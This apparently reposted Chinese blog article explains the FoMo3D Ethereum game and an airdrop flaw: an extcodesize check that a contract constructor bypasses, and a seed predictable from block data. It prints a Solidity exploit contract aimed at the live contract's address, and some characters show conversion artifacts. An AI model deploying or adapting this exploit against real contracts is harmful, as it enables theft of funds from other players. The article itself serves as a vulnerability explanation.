摘要:安全隱患截至發(fā)稿,沒有重大安全漏洞披露,即管理者后門或者攻擊者直接可以轉(zhuǎn)移合約內(nèi)的漏洞,可暫時視為安全。也就是說只有空投獎池總共需要大于以太幣。
七月初推出的一款資金盤游戲fomo3d,終于在十幾天后成功引爆了中國的鏈圈和幣圈。
游戲規(guī)則介紹在每一局游戲的開始,玩家都可以用以太幣ETH來購買游戲道具key,相當(dāng)于往資金盤里的投資。游戲的倒計時為24小時,每當(dāng)有新人買入key時,游戲就會自動延長30s,但網(wǎng)頁上的倒計時仍為24小時。
截止發(fā)文,Time Purchased已經(jīng)增長到了30+年,大家可以自行計算有多少人買入了key。
最終這個資金盤的資金將會有7個流向:
滾入下一輪游戲
本輪游戲的獎金
P3D Token獎勵
傭金獎勵
社區(qū)基金
社區(qū)基金
空投
系統(tǒng)運行成本
最后一個買key的人將會拿走資金盤中的48%的以太幣,作為獎勵。看看首頁的數(shù)字,就可以想見游戲的瘋狂程度。
安全隱患截至發(fā)稿,沒有重大安全漏洞披露,即管理者后門或者攻擊者直接可以轉(zhuǎn)移合約內(nèi)ETH的漏洞,可暫時視為安全。不過還是有一個小漏洞值得大家關(guān)注,即modifier對普通賬戶(外部賬戶)和合約賬戶的判斷。其初衷是好的,保證散戶玩家的公平性,但是由于判斷邏輯的偏差直接導(dǎo)致了該方法失效。
下圖是從etherscan網(wǎng)站上合約地址中的代碼截圖:
此修改器用于限制調(diào)用方法者只能是普通賬戶(無法執(zhí)行復(fù)雜的代碼,也無法重入)。其中,通過判斷地址內(nèi)的extcodesize是否為0來判斷該地址是否為普通賬戶。但是當(dāng)合約正在執(zhí)行構(gòu)造函數(shù)并部署時,其extcodesize也為0,也就是說合約完全可以通過在constructor中調(diào)用方法而繞過該判斷。
攻擊的方向有了,下面就剩下從哪里下手了。
這時我們注意到空投邏輯:
/** * @dev generates a random number between 0-99 and checks to see if thats * resulted in an airdrop win * @return do we have a winner? */ function airdrop() private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) * 1000)) < airDropTracker_) return(true); else return(false); }
大家可以看到,與其說是隨機數(shù),不如說是基于鏈狀態(tài)的偽隨機數(shù)。此時,我們可以不斷地部署合約并在合約的constructor中計算隨機數(shù)的值,一旦發(fā)現(xiàn)有利可圖,就可以調(diào)用FOMO3d合約中的相應(yīng)方法。
接下來,我們?yōu)g覽完整的代碼,找到airdrop()在哪里被使用,我們就可以發(fā)現(xiàn):
只要玩家投入超過0.1-1ETH,就有機會可以贏得空投獎池的25%;
投入1-10ETH,有機會贏得空頭獎池的50%;
投入10+ETH,則有機會贏得空投獎池的75%;
上面提到的有機會,就是指上面的偽隨機數(shù)的計算符合要求。
到這里,最后一塊拼圖也補齊了。我們可以創(chuàng)造一個智能合約,通過計算隨機數(shù),就可以100%獲得空投。我們給出了一個代碼范例如下圖(友情提醒:下面的代碼未經(jīng)測試,是僅表示思路的“偽代碼”,并不保證功能上的成功):
pragma solidity ^0.4.24; interface FoMo3DlongInterface { function airDropTracker_() external returns (uint256); function airDropPot_() external returns (uint256); function withdraw() external; } contract PwnFoMo3D { constructor() public payable { // Link up the fomo3d contract and ensure this whole thing is worth it FoMo3DlongInterface fomo3d = FoMo3DlongInterface(0xA62142888ABa8370742bE823c1782D17A0389Da1); if (fomo3d.airDropPot_() < 0.4 ether) { revert(); } // Calculate whether this transaction would produce an airdrop. Take the // "random" number generator from the FoMo3D contract. uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp) + (block.difficulty) + ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)) + (block.gaslimit) + ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)) + (block.number) ))); uint256 tracker = fomo3d.airDropTracker_(); if((seed - ((seed / 1000) * 1000)) >= tracker) { revert(); } // Ok, seems we can win the airdrop, pwn the contract address(fomo3d).call.value(0.1 ether)(); fomo3d.withdraw(); selfdestruct(msg.sender); } }
再次提醒,上面的代碼未經(jīng)測試。因為每次調(diào)用airdrop都意味著我們必須損失0.1個以太幣,僅當(dāng)你確保你的空投獎勵大于0.1以太幣時,上述方法才值得嘗試。也就是說只有空投獎池總共需要大于0.4以太幣。已經(jīng)有人嘗試空投攻擊2天了:
https://etherscan.io/txs?a=0x...
https://etherscan.io/tx/0x86c...
通過瀏覽其中一筆成功的交易我們可以看到,攻擊者的代碼更加復(fù)雜:他們嘗試通過部署新合約來獲得超額的空投獎勵,但是當(dāng)隨機數(shù)計算不通過時,選擇迭代創(chuàng)建合約直到有一個成功的,而不是選擇使用revert()。
關(guān)于該漏洞的團(tuán)隊回應(yīng)對此,團(tuán)隊本身的態(tài)度很隨意, 表示一切盡在預(yù)料之內(nèi)。并解釋airdrops只是獨立的非常小的獎金池,攻擊也無傷大雅。(此條推特貌似已刪除)
FOMO3d VS ethereum foundation自從fomo3d大火之后,該團(tuán)隊一直嘗試在twitter上呼叫V神,以發(fā)現(xiàn)且公開EVM諸多重大漏洞為要挾呼叫V神正面回應(yīng):
,并插播各種戰(zhàn)果炫耀圖(參加人數(shù)、集資速度和量級、造成以太坊堵塞程度歷史罕見等)。從一開始的殷切呼喚,到始終沒有得到V神正面回復(fù)之后表演失望。
此間,以太坊的team leader - peter倒是有過回應(yīng),表示這并不是漏洞,這些現(xiàn)象/行為都是文檔里提到過的,不要想著用這種大眾敏感詞吸引注意力。想蹭V神熱度的話,請報點猛料好么。
https://www.reddit.com/r/ethe...
最后,不知道大家對這個“龐氏游戲”有什么自己的看法,可以盡情留言。
文章版權(quán)歸作者所有,未經(jīng)允許請勿轉(zhuǎn)載,若此文章存在違規(guī)行為,您可以聯(lián)系管理員刪除。
轉(zhuǎn)載請注明本文地址:http://m.specialneedsforspecialkids.com/yun/24224.html
不廢話,直奔主題,使用JS實現(xiàn)點擊button按鈕切換圖片,實現(xiàn)效果如圖: 很容易實現(xiàn)吧,這個是用Dreamweaver寫的,現(xiàn)在我們就用JS的一個入門案列?! ∑鋵嵑芏鄷r候想法與實際有差距。我們先做了一個簡單的圖片切換?! ody部分: <body> <h1>JS實現(xiàn)圖片的切換</h1> <divclass="containe...
小編寫這篇文章的主要目的,主要是給大家做一個介紹,介紹關(guān)于Pytorch-LSTM是如何去輸出參數(shù),有哪一些步驟呢?下面小編就以代碼和圖片給大家做出一個介紹?! ?.Pytorch中的LSTM中輸入輸出參數(shù) nn.lstm是繼承nn.RNNBase,初始化的定義如下: classRNNBase(Module): ... def__init__(self,mode,input_siz...
小編寫這篇文章的主要目的,主要是用來給大家解釋,Python Sklearn當(dāng)中,一些實用的隱藏功能,大概有19條,這些實用的隱藏技能,會給我們的工作和生活帶來很大的便利性,具體下文就給大家詳細(xì)的介紹一下?! 〗裉旄蠹医榻B19個Sklearn中超級實用的隱藏的功能,這些功能雖然不常見,但非常實用,它們可以直接優(yōu)雅地替代手動執(zhí)行的常見操作。接下來我們就一個一個介紹這些功能,希望對大家有所幫助!...
閱讀 1992·2021-11-24 09:39
閱讀 986·2021-11-11 16:55
閱讀 1441·2021-10-09 09:43
閱讀 1427·2021-10-08 10:17
閱讀 1661·2021-08-25 09:41
閱讀 431·2019-08-30 13:02
閱讀 634·2019-08-29 15:14
閱讀 1011·2019-08-29 13:53